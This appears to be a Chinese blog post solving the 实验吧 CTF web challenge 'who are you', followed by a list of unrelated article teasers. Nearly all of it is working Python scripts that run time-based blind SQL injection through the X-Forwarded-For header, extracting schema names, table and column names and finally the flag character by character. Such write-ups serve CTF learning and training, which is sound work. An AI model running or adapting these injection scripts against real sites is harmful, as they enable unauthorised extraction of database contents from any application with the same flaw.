实验吧 who are you

news/2024/5/20 0:14:47 标签: CTF, SQL注入, web, 暴力破解

暴力求数据库名:

# -*- coding:utf-8 -*-  
import requests
import string 
url = "http://ctf5.shiyanbar.com/web/wonderkun/index.php"
guess = string.lowercase+string.uppercase+string.digits+string.punctuation
database=[]

for database_number in range(0,100):        #假设爆破前100个库
    databasename=''
    for i in range(1,100):                  #爆破字符串长度,假设不超过100长度
        flag=0
        for str in guess:                   #爆破该位置的字符
            #print 'trying ',str
            headers = {"X-forwarded-for":"'+"+" (select case when (substring((select schema_name from information_schema.SCHEMATA limit 1 offset %d) from %d for 1)='%s') then sleep(5) else 1 end) and '1'='1"%(database_number,i,str)}
            try:
                res=requests.get(url,headers=headers,timeout=4)
            except:
                databasename+=str
                flag=1
                print '正在扫描第%d个数据库名,the databasename now is '%(database_number+1) ,databasename
                break
        if flag==0:
            break
    database.append(databasename)
    if i==1 and flag==0:
        print '扫描完成'
        break

for i in range(len(database)):
    print database[i]




暴力求数据表数目:

# -*- coding:utf-8 -*-  
import requests
import string 
url = "http://ctf5.shiyanbar.com/web/wonderkun/index.php"
guess = string.lowercase+string.uppercase+string.digits+string.punctuation

for table_number in range(0,500):   
    print 'trying',table_number
    headers = {"X-forwarded-for":"'+"+" (select case when (select count(table_name) from information_schema.TABLES ) ='%d' then sleep(5) else 1 end) and '1'='1"%(table_number)}
    try:
        res=requests.get(url,headers=headers,timeout=4)
    except:
        print table_number
        break


暴力求表名:

# -*- coding:utf-8 -*-  
import requests
import string 
url = "http://ctf5.shiyanbar.com/web/wonderkun/index.php"
guess = string.lowercase+string.uppercase+string.digits+string.punctuation
tables=[]

for table_number in range(41,42):           #假设从第60个开始
    tablename=''
    for i in range(1,100):                  #爆破字符串长度,假设不超过100长度
        flag=0
        for str in guess:                   #爆破该位置的字符
            headers = {"X-forwarded-for":"'+"+" (select case when (substring((select table_name from information_schema.TABLES limit 1 offset %d) from %d for 1)='%s') then sleep(5) else 1 end) and '1'='1"%(table_number,i,str)}
            try:
                res=requests.get(url,headers=headers,timeout=4)
            except:
                tablename+=str
                flag=1
                print '正在扫描第%d个数据库名,the tablename now is '%(table_number+1) ,tablename
                break
        if flag==0:
            break
    tables.append(tablename)
    if i==1 and flag==0:
        print '扫描完成'
        break

for i in range(len(tables)):
    print tables[i]


暴力求列数目:

# -*- coding:utf-8 -*-  
import requests
import string 
url = "http://ctf5.shiyanbar.com/web/wonderkun/index.php"
guess = string.lowercase+string.uppercase+string.digits+string.punctuation
database=[]

for table_number in range(0,1000):  
    print 'trying',table_number
    headers = {"X-forwarded-for":"'+"+" (select case when (select count(COLUMN_name) from information_schema.COLUMNS ) ='%d' then sleep(5) else 1 end) and '1'='1"%(table_number)}
    try:
        res=requests.get(url,headers=headers,timeout=4)
    except:
        print table_number
        break



暴力求列名:

# -*- coding:utf-8 -*-  
import requests
import string 
url = "http://ctf5.shiyanbar.com/web/wonderkun/index.php"
guess = string.lowercase+string.uppercase+string.digits+string.punctuation
columns=[]

for column_number in range(482,483):            #假设从第60个开始
    cloumnname=''
    for i in range(1,100):                  #爆破字符串长度,假设不超过100长度
        flag=0
        for str in guess:                   #爆破该位置的字符
            #print 'trying',str
            headers = {"X-forwarded-for":"'+"+" (select case when (substring((select COLUMN_name from information_schema.COLUMNS limit 1 offset %d) from %d for 1)='%s') then sleep(5) else 1 end) and '1'='1"%(column_number,i,str)}
            try:
                res=requests.get(url,headers=headers,timeout=4)
            except:
                cloumnname+=str
                flag=1
                print '正在扫描第%d个列名,the cloumnname now is '%(column_number+1) ,cloumnname
                break
        if flag==0:
            break
    columns.append(cloumnname)
    if i==1 and flag==0:
        print '扫描完成'
        break

for i in range(len(columns)):
    print columns[i]



暴力求内容:

#-*-coding:utf-8-*-
import requests
import string
url="http://ctf5.shiyanbar.com/web/wonderkun/index.php"
guess=string.lowercase + string.uppercase + string.digits
flag=""

for i in range(1,100):
    havetry=0
    for str in guess:
        headers={"x-forwarded-for":"' +(select case when (substring((select flag from flag ) from %d for 1 )='%s') then sleep(7) else 1 end ) and '1'='1" %(i,str)}
        try: 
            res=requests.get(url,headers=headers,timeout=6)
        except requests.exceptions.ReadTimeout, e:
            havetry=1
            flag = flag + str
            print "flag:", flag
            break
    if havetry==0:
        break
print 'result:' + flag

        提交的话在将内容放在ctf{}中提交。



http://www.niftyadmin.cn/n/1489468.html

相关文章

linux(ubuntu)虚拟机安装open-vm-tools

什么是open-vm-tools open-vm-tools 是 VMware Tools 的开源实施,由一套虚拟化实用程序组成,这些程序可增强虚拟机在 VMware 环境中的功能,使管理更加有效。open-vm-tools 的主要目的是使操作系统供应商及/或社区以及虚拟设备供应商将 VMware…

ubuntu编译hadoop源码

1.环境配置 1.1安装JDK 详细步骤可查看JDK安装教程 1.2安装maven 详细步骤可查看Maven安装教程 1.3安装依赖库 sudo apt-get install build-essential cmake libglib2.0-dev libssl-dev autoconf automake libtool curl make g unzip #部分为运行protobuf所需的依赖库 1.4…

Hadoop安装教程_伪分布式配置(Hadoop2.7.6/Ubuntu14.04 32位)

Hadoop官方教程:Hadoop: Setting up a Single Node Cluster 1.环境 本文使用 Ubuntu 版本为 14.04 32位 ,请自行安装。Ubuntu需要安装JDK(JDK安装教程),因hadoop官方高版本只发布64位编译版,因此安装32位需要自行编译,编译过程可…

Windows 内置下载工具

前言 今天来学习两个Windows下内置工具的使用: bitsadmincertutil Bitsadmin 1、自Win7开始系统默认包含Bitsadmin,是一个命令行工具,可用于创建下载或上载作业并监视其进度。它也可通过powershell调用,名称为BITS cmdlets。 …

Hadoop集群安装配置教程(Hadoop2.7.6_Ubuntu 32位)

1.环境 本文使用两个节点作为集群,hadoop1主机作为主节点,hadoop2主机作为从节点。hadoop1通过Hadoop安装教程_伪分布式配置(Hadoop2.7.6/Ubuntu14.04 32位),hadoop2为hadoop1虚拟机的复制。在一台电脑上运行两个虚拟机搭建集群。 2.配置IP…

图片:前端展示图像(img 、picture、svg、canvas )及常用图片格式(PNG、JPG、JPEG、WebP、GIF、SVG、AVIF等)

一、浏览器网页展示图片方法 1.1、HTML <img> 标签 <!DOCTYPE html> <html><head><title>图片展示</title></head><body><h1>图片展示</h1><img src"example.jpg" alt"Example Image" w…

Hadoop教程_Hive环境搭建(伪分布式/MySQL/Ubuntu)

1.安装MySQL 在Ubuntu下安装MySQL十分简单&#xff0c;只需要运行几行命令即可。 sudo apt-get install mysql-server #需要输入root用户的密码 sudo apt-get isntall mysql-client sudo apt-get install libmysqlclient-dev sudo netstat -tap | grep mysql #查看MySQL进程是…

MSF:渗透之旅

渗透基础 1、show命令 Metasploit框架中包含数百个模块&#xff0c;没有人能用脑子把他们的名字全部记下来。在MSF终端中&#xff0c;运行show命令会把所有模块显示出来。 show exploits //会显示MSF中所有可用的渗透攻击模块 show auxiliary //会显示所有的辅助模块以及…